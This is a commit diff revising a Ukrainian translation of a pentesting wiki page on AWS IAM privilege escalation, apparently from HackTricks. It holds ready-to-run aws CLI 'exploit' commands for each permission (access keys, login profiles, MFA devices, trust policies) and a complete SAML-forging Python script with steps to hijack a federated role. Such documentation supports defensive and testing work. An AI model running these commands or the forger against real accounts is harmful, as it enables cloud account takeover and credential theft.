Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-14 17:02:25 +00:00
parent 6a077662d7
commit d669e5925c
@@ -4,7 +4,7 @@
## IAM
Для отримання додаткової інформації про IAM див.:
Для отримання додаткової інформації про IAM перегляньте:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,42 +12,42 @@
### **`iam:CreatePolicyVersion`**
Надає можливість створити нову версію IAM-політики, обходячи необхідність дозволу `iam:SetDefaultPolicyVersion` за допомогою прапорця `--set-as-default`. Це дозволяє визначати власні дозволи.
Надає можливість створювати нову версію IAM policy, обходячи необхідність у дозволі `iam:SetDefaultPolicyVersion` шляхом використання прапорця `--set-as-default`. Це дозволяє визначати власні дозволи.
**Команда експлуатації:**
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Вплив:** Непосередньо підвищує привілеї, дозволяючи виконувати будь-яку дію над будь-яким ресурсом.
**Вплив:** Безпосередньо підвищує привілеї, дозволяючи виконувати будь-яку дію над будь-яким ресурсом.
### **`iam:SetDefaultPolicyVersion`**
Дозволяє змінити версію за замовчуванням політики IAM на іншу існуючу версію, що може призвести до підвищення привілеїв, якщо нова версія має більше дозволів.
Дозволяє змінювати версію IAM policy за замовчуванням на іншу існуючу версію, що може призвести до ескалації привілеїв, якщо нова версія має більше дозволів.
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impact:** Опосередковане privilege escalation шляхом надання додаткових дозволів.
**Вплив:** Косвене privilege escalation шляхом надання додаткових дозволів.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Дозволяє створювати access key ID та secret access key для іншого користувача, що може призвести до privilege escalation.
Дозволяє створювати access key ID та secret access key для іншого користувача, що може призвести до потенційного privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact:** Пряме підвищення привілеїв шляхом прийняття розширених дозволів іншого користувача.
**Impact:** Пряме підвищення привілеїв шляхом використання розширених прав іншого користувача.
Note that a user can only have 2 access keys created, so if a user already has 2 access keys you will need the permission `iam:DeleteAccessKey` to видалити один із них, щоб мати можливість створити новий:
Note that a user can only have 2 ключі доступу created, so if a user already has 2 ключі доступу you will need the permission `iam:DeleteAccessKey` to видалити один із них, щоб мати змогу створити новий:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Якщо ви можете створити новий віртуальний MFA-пристрій і увімкнути його для іншого користувача, ви фактично можете зареєструвати власний MFA для цього користувача і потім отримати MFA-підтверджену сесію для його облікових даних.
Якщо ви можете створити новий virtual MFA device і увімкнути його для іншого user, ви фактично зможете зареєструвати власний MFA для цього user, а потім запросити MFA-підтриману session для їхніх credentials.
**Exploit:**
```bash
@@ -58,27 +58,27 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Вплив:** Пряме підвищення привілеїв шляхом захоплення реєстрації користувача в MFA (а потім використання його прав).
**Вплив:** Пряма ескалація привілеїв шляхом перехоплення реєстрації MFA користувача (а далі — використання його прав доступу).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Дозволяє створювати або оновлювати login profile, включно з встановленням паролів для входу в AWS Console, що призводить до прямого підвищення привілеїв.
Дозволяє створювати або оновлювати login profile, зокрема встановлювати паролі для входу в консоль AWS, що призводить до прямої ескалації привілеїв.
**Exploit for Creation:**
**Експлойт для створення:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit для Оновлення:**
**Exploit для оновлення:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Вплив:** Пряме підвищення привілеїв через вхід як користувач "any".
**Impact:** Пряме підвищення привілеїв шляхом входу як "будь-який" користувач.
### **`iam:UpdateAccessKey`**
Дозволяє ввімкнути відключений ключ доступу, що потенційно може призвести до несанкціонованого доступу, якщо зловмисник має цей відключений ключ.
Дозволяє активувати деактивований access key, що потенційно може призвести до несанкціонованого доступу, якщо зловмисник має цей деактивований ключ.
**Exploit:**
```bash
@@ -88,23 +88,49 @@ aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Дозволяє генерувати або скидати облікові дані для конкретних AWS сервісів (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи дозволи пов’язаного користувача.
Дозволяє генерувати або скидувати облікові дані для конкретних сервісів AWS (найчастіше — **CodeCommit**). Це **не** AWS API keys: це облікові дані у вигляді **ім'я користувача/пароль**, призначені для конкретного сервісу, і ви можете використовувати їх лише там, де відповідний сервіс їх приймає.
**Експлойт для створення:**
**Створення:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
**Exploit для Reset:**
Збережіть:
- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`
**Приклад:**
```bash
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Примітка: пароль сервісу часто містить символи на кшталт `+`, `/` та `=`. Зазвичай найпростіше використовувати інтерактивний запит. Якщо ви вставляєте його в URL, спочатку виконайте URL-encode.
На цьому етапі ви можете читати все, до чого має доступ цільовий користувач у CodeCommit (наприклад, a leaked credentials file). Якщо ви отримали **AWS access keys** з repo, налаштуйте новий профіль AWS CLI з цими ключами, а потім отримайте доступ до ресурсів (наприклад, прочитайте flag з Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**Скинути:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Вплив:** Пряме підвищення привілеїв у межах дозволів сервісу користувача.
**Impact:** Privilege escalation до дозволів цільового користувача для вказаного сервісу (і потенційно далі, якщо ви pivot, використовуючи дані, отримані з цього сервісу).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Дозволяє прикріплювати політики до користувачів або груп, безпосередньо підвищуючи привілеї шляхом успадкування дозволів прикріпленої політики.
Дозволяє прикріплювати політики до користувачів або груп, безпосередньо escalating privileges шляхом успадкування дозволів прикріпленої політики.
**Експлойт для користувача:**
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
@@ -112,13 +138,13 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Вплив:** Пряме підвищення привілеїв до всього, що надає політика.
**Вплив:** Пряме privilege escalation до всього, що надає політика.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дає змогу безпосередньо підвищити привілеї шляхом надання додаткових дозволів.
Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дає змогу прямого privilege escalation шляхом надання додаткових дозволів.
**Експлойт для ролі:**
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
@@ -133,7 +159,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Ви можете використовувати політику, наприклад:
Ви можете використати політику на кшталт:
```json
{
"Version": "2012-10-17",
@@ -150,7 +176,7 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
### **`iam:AddUserToGroup`**
Дозволяє додати себе до IAM group, підвищуючи привілеї через успадкування її дозволів.
Дозволяє додати себе до групи IAM, підвищуючи привілеї шляхом успадкування дозволів групи.
**Exploit:**
```bash
@@ -160,14 +186,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
### **`iam:UpdateAssumeRolePolicy`**
Дозволяє змінювати документ політики assume role для ролі, що дає змогу виконати assume цієї ролі та отримати її пов'язані дозволи.
Дозволяє змінювати документ політики assume role ролі, що дозволяє здійснити assume role цієї ролі та отримати повязані з нею дозволи.
**Експлойт:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Якщо політика виглядає наступним чином і надає користувачеві дозвіл прийняти роль:
Якщо політика виглядає наступним чином і надає користувачу дозвіл взяти на себе роль:
```json
{
"Version": "2012-10-17",
@@ -182,38 +208,38 @@ aws iam update-assume-role-policy --role-name <role_name> \
]
}
```
**Вплив:** Пряме privilege escalation шляхом прийняття дозволів будь-якої ролі.
**Вплив:** Пряме підвищення привілеїв шляхом отримання дозволів будь-якої ролі.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Дозволяє завантажувати SSH public key для автентифікації в CodeCommit та деактивувати MFA devices, що може призвести до потенційного непрямого privilege escalation.
Дозволяє завантажувати публічний SSH-ключ для автентифікації в CodeCommit та деактивувати MFA-пристрої, що може призвести до непрямого підвищення привілеїв.
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Експлойт для деактивації MFA:**
**Exploit для деактивації MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Вплив:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection.
**Вплив:** Непряме підвищення привілеїв шляхом надання доступу до CodeCommit або відключення захисту MFA.
### **`iam:ResyncMFADevice`**
Дозволяє ресинхронізацію пристрою MFA, що потенційно може призвести до indirect privilege escalation шляхом маніпулювання захистом MFA.
Дозволяє ресинхронізацію пристрою MFA, що потенційно може призвести до непрямого підвищення привілеїв шляхом маніпулювання захистом MFA.
**Команда Bash:**
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Вплив:** Indirect privilege escalation by adding or manipulating MFA devices.
**Вплив:** Непряме підвищення привілеїв шляхом додавання або маніпуляції MFA devices.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Маючи ці дозволи, ви можете **змінити XML метадані SAML-з'єднання**. Після цього ви могли б зловживати **SAML federation** щоб **login** з будь-якою **role that is trusting** it.
З цими дозволами ви можете **змінити XML метадані SAML connection**. Потім ви могли б зловживати **SAML federation**, щоб **увійти** під будь-якою **роллю, яка довіряє SAML**.
Зверніть увагу, що через це **legit users won't be able to login**. Однак ви можете отримати XML, підставити свій, виконати **login** та потім відновити попередню конфігурацію.
Зауважте, що при цьому **легітимні користувачі не зможуть увійти**. Однак ви можете отримати XML, підставити свій, увійти і потім відновити попередні налаштування.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -229,12 +255,256 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: Інструмент, здатний згенерувати метадані SAML і виконати вхід з вказаною роллю
>
**End-to-end attack:**
1. Перелічте SAML provider та роль, яка йому довіряє:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Підробити IdP metadata + підписане SAML assertion для пари role/provider:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Розгорнути: <code>/tmp/saml_forge.py</code> допоміжний скрипт (метадані + підписане твердження)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import base64
import datetime as dt
import json
import os
import subprocess
import tempfile
import uuid
from lxml import etree
from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str:
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"3650",
"-nodes",
"-subj",
"/CN=attacker-idp",
]
)
return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
return "".join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<X509Data>
<X509Certificate>{cert_b64}</X509Certificate>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
ns = {
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
}
issue_instant = dt.datetime.now(dt.timezone.utc)
not_before = issue_instant - dt.timedelta(minutes=2)
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = "_" + str(uuid.uuid4())
assertion_id = "_" + str(uuid.uuid4())
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
response.set("ID", resp_id)
response.set("Version", "2.0")
response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
assertion.set("ID", assertion_id)
assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
name_id.text = "attacker"
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
conditions.set("NotBefore", not_before.isoformat())
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"
key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()
signer = XMLSigner(
method=methods.enveloped,
signature_algorithm="rsa-sha256",
digest_algorithm="sha256",
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
)
signed_assertion = signer.sign(
assertion,
key=key_bytes,
cert=cert_bytes,
reference_uri=f"#{assertion_id}",
id_attribute="ID",
)
response.remove(assertion)
response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--role-arn", required=True)
ap.add_argument("--principal-arn", required=True)
args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp:
key_path, cert_path = _openssl_make_key_and_cert(tmp)
cert_pem = open(cert_path, "r", encoding="utf-8").read()
cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64)
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
if __name__ == "__main__":
main()
```
3. Оновіть SAML provider metadata сертифікатом вашого IdP, прийміть роль і використайте повернуті STS credentials:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Очищення: відновити попередні метадані:
```bash
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Оновлення метаданих SAML-провайдера є деструктивним: поки ваші метадані застосовані, легітимні SSO-користувачі можуть не змогти автентифікуватися.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Не впевнений у цьому) Якщо в нападника є ці **дозволи**, він може додати новий **Thumbprint**, щоб мати змогу виконувати вхід у всі ролі, які довіряють провайдеру.
(Не впевнений щодо цього) Якщо зловмисник має ці **permissions**, він може додати новий **Thumbprint**, щоб мати змогу login у всі ролі, які довіряють провайдеру.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -245,7 +515,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Цей дозвіл дозволяє зловмиснику оновити межу дозволів користувача, що потенційно може підвищити їхні привілеї, дозволивши виконувати дії, які зазвичай обмежені їхніми поточними дозволами.
Це дозволяє нападнику оновити межу дозволів (permissions boundary) користувача, що може призвести до підвищення його привілеїв — дозволяючи виконувати дії, які зазвичай обмежені його поточними дозволами.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -268,7 +538,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Особа з дозволом iam:PutRolePermissionsBoundary може встановлювати межу дозволів для існуючої ролі. Ризик виникає, коли хтось із цим дозволом змінює межу ролі: така особа може неналежним чином обмежити операції (що може спричинити перебої в роботі сервісу) або, якщо додасть менш обмежувальну межу, фактично розширити можливості ролі й підвищити її привілеї.
Актор з правом iam:PutRolePermissionsBoundary може встановити межу дозволів для існуючої ролі. Ризик виникає, коли особа з цим дозволом змінює межу ролі: вона може неправильно обмежити операції (що спричиняє перебої в роботі сервісу) або, якщо додасть надто ліберальну межу, фактично розширити можливості ролі і підвищити привілеї.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \